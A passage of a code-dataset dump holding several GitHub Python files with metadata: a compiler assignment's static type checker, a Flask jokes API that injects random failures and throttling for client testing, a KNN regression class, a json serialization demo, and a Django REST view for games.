rhs_eletype = rhs_eletype.eletype\n                else:\n                    break\n\n        if type(self.visit(ast.lhs,param)) is not type(self.visit(ast.rhs,param)):\n            raise TypeMismatchInStatement(ast)\n\n    def visitIf(self, ast: If, param):\n        func = param[-1][0]\n        for ifthenStmt in ast.ifthenStmt:\n            var = self.lookup(ifthenStmt[0].name, param) if isinstance(ifthenStmt[0], Id) \\\n                else self.lookup(ifthenStmt[0].method.name, param) if isinstance(ifthenStmt[0],CallExpr) else \"\"\n            exp_type = var.mtype.restype if isinstance(var,Symbol) else self.visit(ifthenStmt[0], param)\n            if exp_type == \"TypeCannotBeInferred\":\n                raise TypeCannotBeInferred(ast)\n\n            if isinstance(exp_type, Unknown):\n                var.mtype.restype = BoolType()\n\n            exp_type = self.visit(ifthenStmt[0], param)\n            if exp_type == \"TypeCannotBeInferred\":\n                raise TypeCannotBeInferred(ast)\n\n            if not isinstance(exp_type, BoolType):\n                raise TypeMismatchInStatement(ast)\n\n            local = [[]]\n            for VarDecl in ifthenStmt[1]:\n                self.visit(VarDecl, local)\n            total = local + param\n            for Stmts in ifthenStmt[2]:\n                self.visit(Stmts, total)\n                self.ReturnStatement(Stmts, func, param)\n\n        else_stmt = ast.elseStmt\n        local = [[]]\n        for VarDecl in else_stmt[0]:\n            self.visit(VarDecl, local)\n        total = local + param\n        for Stmts in else_stmt[1]:\n            self.visit(Stmts, total)\n            self.ReturnStatement(Stmts, func, param)\n\n    def visitFor(self, ast: For, param):\n        func = param[-1][0]\n        idx1 = self.lookup(ast.idx1.name, param)\n\n        if isinstance(idx1.mtype.restype, Unknown):\n            idx1.mtype.restype = IntType()\n\n        var = self.lookup(ast.expr1.name, param) if isinstance(ast.expr1, Id) \\\n                else self.lookup(ast.expr1.method.name, param) if isinstance(ast.expr1, CallExpr) else \"\"\n        expr1 = var.mtype.restype if isinstance(var, Symbol) else self.visit(ast.expr1, param)\n        if isinstance(expr1, Unknown):\n            var.mtype.restype = IntType()\n\n        var = self.lookup(ast.expr2.name, param) if isinstance(ast.expr2, Id) \\\n                else self.lookup(ast.expr2.method.name, param) if isinstance(ast.expr2, CallExpr) else \"\"\n        expr2 = var.mtype.restype if isinstance(var, Symbol) else self.visit(ast.expr2, param)\n        if isinstance(expr2, Unknown):\n            var.mtype.restype = BoolType()\n\n        var = self.lookup(ast.expr3.name, param) if isinstance(ast.expr3, Id) \\\n                else self.lookup(ast.expr3.method.name, param) if isinstance(ast.expr3, CallExpr) else \"\"\n        expr3 = var.mtype.restype if isinstance(var, Symbol) else self.visit(ast.expr3, param)\n        if isinstance(expr3, Unknown):\n            var.mtype.restype = IntType()\n\n        idx1 = self.visit(ast.idx1, param)\n        expr1 = self.visit(ast.expr1, param)\n        expr2 = self.visit(ast.expr2, param)\n        expr3 = self.visit(ast.expr3, param)\n        if \"TypeCannotBeInferred\" in [expr1, expr2, expr3]:\n            raise TypeCannotBeInferred(ast)\n\n        iType = [isinstance(idx1, IntType), isinstance(expr1, IntType), isinstance(expr3, IntType)]\n        # print(iType)\n        if False in iType:\n            raise TypeMismatchInStatement(ast)\n\n        # if type(self.visit(ast.expr2,param)) is not type(BoolType()):\n        if not isinstance(expr2, BoolType):\n            raise TypeMismatchInStatement(ast)\n\n        local = [[]]\n        for VarDecl in ast.loop[0]:\n            self.visit(VarDecl, local)\n        total = local + param\n        for Stmts in ast.loop[1]:\n            self.visit(Stmts, total)\n            self.ReturnStatement(Stmts, func, param)\n\n    def visitContinue(self, ast: Continue, param):\n        pass\n\n    def visitBreak(self, ast: Break, param):\n        pass\n\n    def visitReturn(self, ast: Return, param):\n        if ast.expr:\n            expr_type = self.visit(ast.expr, param)\n            if expr_type == \"TypeCannotBeInferred\" or isinstance(expr_type, Unknown):\n                raise TypeCannotBeInferred(ast)\n            return self.visit(ast.expr, param)\n        else:\n            return VoidType()\n\n    def visitDowhile(self, ast: Dowhile, param):\n        local = [[]]\n        func = param[-1][0]\n        for VarDecl in ast.sl[0]:\n            self.visit(VarDecl, local)\n        total = local + param\n        for Stmts in ast.sl[1]:\n            self.visit(Stmts, total)\n            self.ReturnStatement(Stmts, func, param)\n\n\n        var = self.lookup(ast.exp.name, param) if isinstance(ast.exp, Id) \\\n                else self.lookup(ast.exp.method.name, param) if isinstance(ast.exp, CallExpr) else \"\"\n        exp_type = var.mtype.restype if isinstance(var, Symbol) else self.visit(ast.exp, param)\n\n        if isinstance(exp_type, Unknown):\n            var.mtype.restype = BoolType()\n\n        exp_type = self.visit(ast.exp, param)\n        if exp_type == \"TypeCannotBeInferred\":\n            raise TypeCannotBeInferred(ast)\n\n        if not isinstance(exp_type, BoolType):\n            raise TypeMismatchInStatement(ast)\n\n    def visitWhile(self, ast: While, param):\n        func = param[-1][0]\n\n        var = self.lookup(ast.exp.name, param) if isinstance(ast.exp, Id) \\\n                else self.lookup(ast.exp.method.name, param) if isinstance(ast.exp, CallExpr) else \"\"\n        exp_type = var.mtype.restype if isinstance(var, Symbol) else self.visit(ast.exp, param)\n        if isinstance(exp_type, Unknown):\n            var.mtype.restype = BoolType()\n\n\n        exp_type = self.visit(ast.exp, param)\n        if exp_type == \"TypeCannotBeInferred\":\n            raise TypeCannotBeInferred(ast)\n\n        if not isinstance(exp_type, BoolType):\n            raise TypeMismatchInStatement(ast)\n        local = [[]]\n        for VarDecl in ast.sl[0]:\n            self.visit(VarDecl, local)\n        total = local + param\n        for Stmts in ast.sl[1]:\n            self.visit(Stmts, total)\n            self.ReturnStatement(Stmts, func, param)\n\n    def visitCallStmt(self, ast: CallStmt, param):\n        var = self.lookup(ast.method.name, param)\n        if var is not None:\n            if not isinstance(var.kind, Function):\n                raise Undeclared(Function(),ast.method.name)\n\n            if len(var.mtype.intype) != len(ast.param):\n                raise TypeMismatchInStatement(ast)\n\n            if isinstance(var.mtype.restype,Unknown):\n                var.mtype.restype = VoidType()\n\n            if not isinstance(var.mtype.restype, VoidType):\n                raise TypeMismatchInStatement(ast)\n\n            if var.mtype.intype:\n                for i in range(len(ast.param)):\n                    param_type = self.visit(ast.param[i], param)\n                    if param_type == \"TypeCannotBeInferred\":\n                        raise TypeCannotBeInferred(ast)\n                    if isinstance(param_type, Unknown) and isinstance(var.mtype.intype[i], Unknown):\n                        raise TypeCannotBeInferred(ast)\n\n                    if isinstance(param_type, Unknown):\n                        parameter = self.lookup(ast.param[i].name, param) if isinstance(ast.param[i], Id) \\\n                            else self.lookup(ast.param[i].method.name, param)\n                        parameter.mtype.restype = var.mtype.intype[i]\n\n                    if isinstance(var.mtype.intype[i], Unknown):\n                        var.mtype.intype[i] = param_type\n\n                    param_type = self.visit(ast.param[i], param)\n                    #print(param_type, var.mtype.intype[i])\n                    if type(var.mtype.intype[i]) != type(param_type):\n                        raise TypeMismatchInStatement(ast)\n        else:\n            raise Undeclared(Function(), ast.method.name)\n\n    def visitIntLiteral(self, ast: IntLiteral, param):\n        return IntType()\n\n    def visitFloatLiteral(self, ast: FloatLiteral, param):\n        return FloatType()\n\n    def visitBooleanLiteral(self, ast: BooleanLiteral, param):\n        return BoolType()\n\n    def visitStringLiteral(self, ast: StringLiteral, param):\n        return StringType()\n\n    def visitArrayLiteral(self, ast: ArrayLiteral, param):\n        listdimen = [len(ast.value)]\n        for value in ast.value:\n            x = self.visit(value,param)\n        t = self.visit(ast.value[0],param)\n        if isinstance(t,ArrayType):\n            listdimen.extend(t.dimen)\n\n        return ArrayType(listdimen,self.visit(ast.value[0],param))\n", "repo_name": "thuanhua1412/assignment", "sub_path": "assignment 3/src/main/bkit/checker/StaticCheck.py", "file_name": "StaticCheck.py", "file_ext": "py", "file_size_in_byte": 30220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "abc.ABC", "line_number": 14, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 15, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 50, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 56, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 54, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 67, "usage_type": "name"}]}
{"seq_id": "28518319432", "text": "from gevent import monkey\nmonkey.patch_all()\n\nimport hashlib\nimport os\nimport random\nimport redis\nimport time\n\nfrom collections import defaultdict\nfrom functools import wraps\n\nfrom flask import Flask, request, render_template, render_template_string, make_response, json, jsonify, abort\n\napp = Flask('jokes')\nr = redis.StrictRedis.from_url(os.environ.get(\"REDIS_URL\", \"redis://localhost:6379/0\"))\njokes = json.load(open('jokes.json'))['value']\njokes = {joke['id']: joke for joke in jokes if 'explicit' not in joke['categories']}\n\nAPPNAME = \"chitter\"\n\nTHROTTLE_HNAME           = \"{}_thr\".format(APPNAME)\nTHROTTLE_OPTION_REQUESTS = \"{}_throttle_requests\".format(APPNAME)\nTHROTTLE_OPTION_INTERVAL = \"{}_throttle_interval\".format(APPNAME)\nTHROTTLE_EXEMPT_HEADER   = \"x-full-throttle\"\n\nCRASH_OPTION        = \"{}_crash_thresh\".format(APPNAME)\nCRASH_EXEMPT_HEADER = \"x-wedding-crashers\"\n\nOVERLOAD_OPTION        = \"{}_overload_thresh\".format(APPNAME)\nOVERLOAD_EXEMPT_HEADER = \"x-overload\"\n\nSLOWDOWN_OPTION        = \"{}_slowdown_thresh\".format(APPNAME)\nSLOWDOWN_EXEMPT_HEADER = \"x-ludicrous-speed\"\nSLOWDOWN_TIME          = \"{}_slowdown_max_time\".format(APPNAME)\nSLOWDOWN_BASE_TIME     = \"{}_slowdown_base_time\".format(APPNAME)\n\n\n@app.route('/')\n@app.route('/api/help')\ndef help():\n    \"\"\" Print available api functions \"\"\"\n    func_list = defaultdict(dict)\n    for rule in app.url_map.iter_rules():\n        if rule.endpoint != 'static':\n            func_list[rule.endpoint][rule.rule] = {\n                    'doc': app.view_functions[rule.endpoint].__doc__.strip(),\n                    'methods': list(rule.methods - {'HEAD', 'OPTIONS'}),\n                    }\n    return render_template(\"help.html\", data=func_list)\n\n\n@app.route('/api/joke/<id>')\n@app.route('/api/joke')\ndef joke(id=None):\n    \"\"\"\n    Get a joke from the db with the given id. If no id is given, get a random joke.\n    The returned json will be of the format:\n        {\"message\":\"\", \"status\": 200, value: {\"categories\": categories, \"id\": id, \"author\": id, \"joke\": \"text\", \"pic\": \"pic_url\"}}\n    \"\"\"\n    if not id:\n        id = random.choice(jokes.keys())\n    try:\n        id = int(id)\n    except ValueError:\n        abort(400)\n    if id not in jokes:\n        abort(404)\n    return jsonify(message=\"\",\n            status=200,\n            value={'categories': jokes[id]['categories'], 'joke': jokes[id]['joke'], 'id': id, 'author': 'Chuck Norris'})\n\n\n@app.after_request\ndef add_header(resp):\n    resp.headers['Access-Control-Allow-Origin'] = resp.headers.get('Access-Control-Allow-Origin', '*')\n    return resp\n\n\n@app.errorhandler(429)\ndef too_many_requests(err):\n    resp = jsonify(\n            message=\"Slow your roll, homie\",\n            status=429,\n            data={}\n            )\n    resp.headers['Retry-After'] = r.get(THROTTLE_OPTION_INTERVAL) or 30\n    return resp, 429\n\n\n@app.errorhandler(400)\ndef bad_request(err):\n    return jsonify(\n            message=str(err),\n            status=400,\n            data={}\n            ), 400\n\n\n@app.before_request\ndef before_request():\n    def exempt():\n        return request.endpoint in {'help'}\n\n    @unless_header(THROTTLE_EXEMPT_HEADER)\n    def throttle():\n        forwarded_for = request.headers.getlist(\"X-Forwarded-For\")\n        remote_addr = forwarded_for[-1] if len(forwarded_for) > 0 else request.remote_addr\n        throttle_reqs = float(r.get(THROTTLE_OPTION_REQUESTS) or 5)\n        throttle_interval = int(r.get(THROTTLE_OPTION_INTERVAL) or 30)\n        throttle_key = \"{}_{}_{}\".format(remote_addr,\n                throttle_interval,\n                int(time.time() / throttle_interval))\n        if r.hincrby(THROTTLE_HNAME, throttle_key, 1) > throttle_reqs:\n            abort(429)\n\n    @unless_header(SLOWDOWN_EXEMPT_HEADER)\n    def random_slowdown():\n        base_wait = float(r.get(SLOWDOWN_BASE_TIME) or 0.25)\n        time.sleep(base_wait)\n\n        thresh = float(r.get(SLOWDOWN_OPTION) or 0.4)\n        if random.random() < thresh:\n            max_wait = float(r.get(SLOWDOWN_TIME) or 2.0)\n            time.sleep(random.random() * max_wait - base_wait)\n\n    @unless_header(OVERLOAD_EXEMPT_HEADER)\n    def random_overload():\n        thresh = float(r.get(OVERLOAD_OPTION) or 0.1)\n        if random.random() < thresh:\n            abort(503)\n\n    @unless_header(CRASH_EXEMPT_HEADER)\n    def random_crash():\n        thresh = float(r.get(CRASH_OPTION) or 0.1)\n        if random.random() < float(thresh):\n            abort(500)\n\n    if not exempt():\n        random_crash()\n        random_overload()\n        throttle()\n        random_slowdown()\n\n\ndef unless_header(*header_names):\n    def decorator(f):\n        @wraps(f)\n        def decorated_func(*args, **kwargs):\n            if any(request.headers.get(header_name) for header_name in header_names):\n                return\n            return f(*args, **kwargs)\n        return decorated_func\n    return decorator\n\n\ndef main():\n    app.run(host='0.0.0.0', port=int(os.environ.get('PORT', 5000)), debug=True)\n    return 0\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n", "repo_name": "ccraciun/jokes_api", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gevent.monkey.patch_all", "line_number": 2, "usage_type": "call"}, {"api_name": "gevent.monkey", "line_number": 2, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "redis.StrictRedis.from_url", "line_number": 16, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 17, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.endpoint", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.request.headers.getlist", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 120, "usage_type": "call"}, {"api_name": "random.random", "line_number": 123, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 125, "usage_type": "call"}, {"api_name": "random.random", "line_number": 125, "usage_type": "call"}, {"api_name": "random.random", "line_number": 130, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 131, "usage_type": "call"}, {"api_name": "random.random", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 150, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 150, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 148, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 158, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 158, "usage_type": "attribute"}]}
{"seq_id": "10629235764", "text": "import logging as log\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.preprocessing import *\n\n\nclass KNNRegression:\n    def __init__(self, trainfile):\n        log.getLogger().setLevel(log.INFO)\n        log.info('KNN Regressor')\n\n        # Load set\n        self.trainFile = trainfile\n        trainDataFrame = pd.read_csv(self.trainFile, sep='\\t', header=None)\n\n        # Mapping string and bool values to numeric\n        self.mapping_string = self.map_columns(trainDataFrame, 4)\n        self.mapping_bool = self.map_columns(trainDataFrame, 1)\n        trainDataFrame = trainDataFrame.applymap(\n            lambda x: self.mapping_string.get(x) if x in self.mapping_string else x)\n        trainDataFrame = trainDataFrame.applymap(\n            lambda x: self.mapping_bool.get(x) if x in self.mapping_bool else x)\n        trainArray = trainDataFrame.values\n\n        # Shuffle Data\n        np.random.shuffle(trainArray)\n\n        # Extract values to numpy.Arrays\n        self.X = trainArray[:, 1:]\n        self.Y = trainArray[:, 0]\n\n        self.grided_params = []\n        self.knnr = None\n\n        # Split to train-test sets\n        self.X_train, self.X_test, self.Y_train, self.Y_test = train_test_split(self.X, self.Y, test_size=0.3,\n                                                                                random_state=0)\n\n    def __str__(self):\n        \"\"\"\n        Printing data\n        :return: None\n        \"\"\"\n        print(\"Features: {}, Labels: {}\".format(self.X, self.Y))\n\n    @staticmethod\n    def map_columns(df, colnumber: int):\n        \"\"\"\n        Mapping non numeric values to numeric\n        :param df: pandas dataframe that contain dataset\n        :param colnumber: number collumn to map\n        :return: dictionary with mapped values\n        \"\"\"\n        return dict([(y, x + 1) for x, y in enumerate(sorted(set(df[colnumber].unique())))])\n\n    def rescale(self):\n        \"\"\"\n        Rescaling data in dataset to [0,1]\n        :return: None\n        \"\"\"\n        scaler = MinMaxScaler(feature_range=(0, 1))\n        self.X_train = scaler.fit_transform(self.X_train)\n        self.X_test = scaler.fit_transform(self.X_test)\n\n    def normalize(self):\n        \"\"\"\n        Normalizing data in dataset\n        :return: None\n        \"\"\"\n        scaler = Normalizer()\n        self.X_train = scaler.fit_transform(self.X_train)\n        self.X_test = scaler.fit_transform(self.X_test)\n\n    def standalizer(self):\n        \"\"\"\n        Standardlizing data in dataset\n        :return: None\n        \"\"\"\n        scaler = StandardScaler()\n        self.X_train = scaler.fit_transform(self.X_train)\n        self.X_test = scaler.fit_transform(self.X_test)\n\n    def output(self):\n        \"\"\"\n        Predicting and log values\n        :return: None\n        \"\"\"\n        y_pred = self.knnr.predict(self.X_test)\n        log.info(f\"MSE: {mean_squared_error(self.Y_test, y_pred)}\")\n        for x, y in zip(y_pred, self.Y_test):\n            log.info(f\"Predicted: {x}| Actual: {y}\")\n\n    def train_model(self):\n        \"\"\"\n        Fiting model with grid search hyper-parameters\n        :return: None\n        \"\"\"\n        self.knnr = KNeighborsRegressor(n_neighbors=self.grided_params[0], weights=self.grided_params[1],\n                                        algorithm=self.grided_params[2]).fit(self.X_train, self.Y_train)\n\n    def grid_search(self):\n        \"\"\"\n        Sklearn hyper-parameters grid search\n        :return: None\n        \"\"\"\n        hyperparam_grid = {\n            'n_neighbors': [5, 10, 15, 20, 25, 30],\n            'weights': ('uniform', 'distance'),\n            'algorithm': ('ball_tree', 'kd_tree', 'brute')\n\n        }\n        classifier = GridSearchCV(KNeighborsRegressor(), hyperparam_grid, cv=5, iid=False)\n        classifier.fit(self.X_train, self.Y_train)\n        self.grided_params = [classifier.best_estimator_.n_neighbors, classifier.best_estimator_.weights,\n                              classifier.best_estimator_.algorithm]\n", "repo_name": "dwisniewski1993/Machine-Learning", "sub_path": "PYTHON/KNN/KNN/KNNR.py", "file_name": "KNNR.py", "file_ext": "py", "file_size_in_byte": 4109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsRegressor", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 116, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsRegressor", "line_number": 116, "usage_type": "call"}]}
{"seq_id": "5969903042", "text": "import json\n\n'''\n序列化数据\njson本质就是一个字符串,里面是双引号的字符串，转json，元素类型对应js类型\n作用：\n    1、序列化数据（dump,dumps），使数据转字符串，可以在文件操作是写入文件中，\n    2、反序列化数据（load,loads），使字符串转数据\n\n'''\nlist = [\"name\", 'age']\n\nfile = open('jsondump.txt', 'w', encoding='utf8')\n\nliststr = json.dumps(list)  # 转字符串,不会保留数据到文件里\nliststr2 = json.dump(list, file)  # 转字符串,并且保留数据到指定文件里\n\nfile.close()\n\n# =====================================================\n\nfile1 = open('jsondump.txt', 'r', encoding='utf8')\n\nstrs = '[\"aaa\",\"bbb\"]'\nstrsloads = json.loads(strs)\nstrsload = json.load(file1)  # 读出文件中的json数据并反序列化为可用数据\nprint(type(strsloads))\nprint(strsload)\n\nfile1.close()\n", "repo_name": "liaozhongxun/lzo-py-project", "sub_path": "imports/my_json.py", "file_name": "my_json.py", "file_ext": "py", "file_size_in_byte": 881, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.dumps", "line_number": 15, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 16, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "json.load", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "71229699771", "text": "\"\"\"View module for handling requests about game types\"\"\"\nfrom django.http import HttpResponseServerError\nfrom django.core.exceptions import ValidationError\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers, status\nfrom levelupapi.models import Game\nfrom levelupapi.models.game_type import GameType\nfrom levelupapi.models.gamer import Gamer\n\n\nclass GameView(ViewSet):\n    \"\"\"Level up game types view\"\"\"\n\n    def retrieve(self, request, pk):\n        \"\"\"Handle GET requests for single game type\n        Returns:\n            Response -- JSON serialized game type\n        \"\"\"\n        try:\n            game = Game.objects.get(pk=pk)\n            serializer = GameSerializer(game)\n            return Response(serializer.data)\n        except Game.DoesNotExist as ex:\n            return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n\n    def list(self, request):\n        \"\"\"Handle GET requests to get all game types\n        Returns:\n            Response -- JSON serialized list of game types\n        \"\"\"\n        games = Game.objects.all()\n        # What if we wanted to pass in a query string parameter?\n        # The request from the method parameters holds all the information for the request from the client. The request.query_params is a dictionary of any query parameters that were in the url. Using the .get method on a dictionary is a safe way to find if a key is present on the dictionary. If the 'type' key is not present on the dictionary it will return None.\n        game_type = request.query_params.get('type', None)\n        if game_type is not None:\n            games = games.filter(game_type_id=game_type)\n        serializer = GameSerializer(games, many=True)\n        return Response(serializer.data)\n    \n    '''\n    def create(self, request):\n        \"\"\"Handle POST operations\n\n        Returns\n            Response -- JSON serialized game instance\n        \"\"\"\n        gamer = Gamer.objects.get(user=request.auth.user)\n        game_type = GameType.objects.get(pk=request.data[\"game_type\"])\n\n        game = Game.objects.create(\n            title=request.data[\"title\"],\n            maker=request.data[\"maker\"],\n            number_of_players=request.data[\"number_of_players\"],\n            skill_level=request.data[\"skill_level\"],\n            gamer=gamer,\n            game_type=game_type\n        )\n        serializer = GameSerializer(game)\n        return Response(serializer.data)\n    '''\n    \n    # Inside the method, the first line of code is getting the game that is logged in. Since all of our postman or fetch requests have the user’s auth token in the headers, the request will get the user object based on that token. From there, we use the request.auth.user to get the Gamer object based on the user. Here’s the equivalent sql:\n        # db_cursor.execute(\"\"\"\n        # select *\n        # from levelupapi_gamer\n        # where user = ?\n        # \"\"\", (user,))\n    \n    def create(self, request):\n        \"\"\"Handle POST operations\n\n        Returns:\n            Response -- JSON serialized game instance\n        \"\"\"\n        gamer = Gamer.objects.get(user=request.auth.user)\n        serializer = CreateGameSerializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save(gamer=gamer)\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\n    \n    #To add the game to the database, we call the create ORM method and pass the fields as parameters to the function. Here’s the sql that will run:\n        # db_cursor.execute(\"\"\"\n        # Insert into levelupapi_game (title, maker, number_of_players, skill_level, gamer_id, game_type_id)\n        # values (?, ?, ?, ?, ?, ?)\n        # \"\"\", (request.data[\"title\"], request.data[\"maker\"], request.data[\"numberOfPlayers\"], request.data[\"skillLevel\"], gamer, game_type)) \n    \n    \n\n    # This time, when using the CreateGameSerializer, the original game object is passed to the serializer, along with the request.data. This will make any updates on the game object. Then, just like in the create, check for validity and save the updated object.\n\n    def update(self, request, pk):\n        \"\"\"Handle PUT requests for a game\n        Returns:\n            Response -- Empty body with 204 status code\n        \"\"\"\n        game = Game.objects.get(pk=pk)\n        serializer = CreateGameSerializer(game, data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(None, status=status.HTTP_204_NO_CONTENT)\n    \n    \n    def destroy(self, request, pk):\n        game = Game.objects.get(pk=pk)\n        game.delete()\n        return Response(None, status=status.HTTP_204_NO_CONTENT)\n                \n\n\n# Right now the GET methods do not include any nested data, only the foreign key. Embedding that data is only 1 line of code! Take a look at the response for getting all the games. Notice that game_type is just the id of the type. Back in the GameSerializer add this to the end of Meta class tabbed to the same level as the fields property\nclass GameSerializer(serializers.ModelSerializer):\n    \"\"\"JSON serializer for game types\n    \"\"\"\n    class Meta:\n        model = Game\n        fields = ('id', 'title', 'maker', 'gamer', 'number_of_players', 'skill_level', 'game_type')\n        depth = 1\n        \n        \n        \n# Instead of making a new instance of the Game model, the request.data dictionary is passed to the new serializer as the data. The keys on the dictionary must match what is in the fields on the serializer. After creating the serializer instance, call is_valid to make sure the client sent valid data. If the code passes validation, then the save method will add the game to the database and add an id to the serializer.        \n        \nclass CreateGameSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Game\n        fields = ['id', 'title', 'maker', 'number_of_players', 'skill_level', 'game_type']        ", "repo_name": "jmehart/level-up-server", "sub_path": "levelupapi/views/game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 6006, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.viewsets.ViewSet", "line_number": 12, "usage_type": "name"}, {"api_name": "levelupapi.models.Game.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "levelupapi.models.Game.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "levelupapi.models.Game", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 23, "usage_type": "call"}, {"api_name": "levelupapi.models.Game.DoesNotExist", "line_number": 24, "usage_type": "attribute"}, {"api_name": "levelupapi.models.Game", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 25, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 25, "usage_type": "name"}, {"api_name": "levelupapi.models.Game.objects.all", "line_number": 33, "usage_type": "call"}, {"api_name": "levelupapi.models.Game.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "levelupapi.models.Game", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 40, "usage_type": "call"}, {"api_name": "levelupapi.models.gamer.Gamer.objects.get", "line_number": 77, "usage_type": "call"}, {"api_name": "levelupapi.models.gamer.Gamer.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "levelupapi.models.gamer.Gamer", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 81, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 81, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 81, "usage_type": "name"}, {"api_name": "levelupapi.models.Game.objects.get", "line_number": 98, "usage_type": "call"}, {"api_name": "levelupapi.models.Game.objects", "line_number": 98, "usage_type": "attribute"}, {"api_name": "levelupapi.models.Game", "line_number": 98, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 102, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 102, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 102, "usage_type": "name"}, {"api_name": "levelupapi.models.Game.objects.get", "line_number": 106, "usage_type": "call"}, {"api_name": "levelupapi.models.Game.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "levelupapi.models.Game", "line_number": 106, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 108, "usage_type": "call"}, {"api_name": 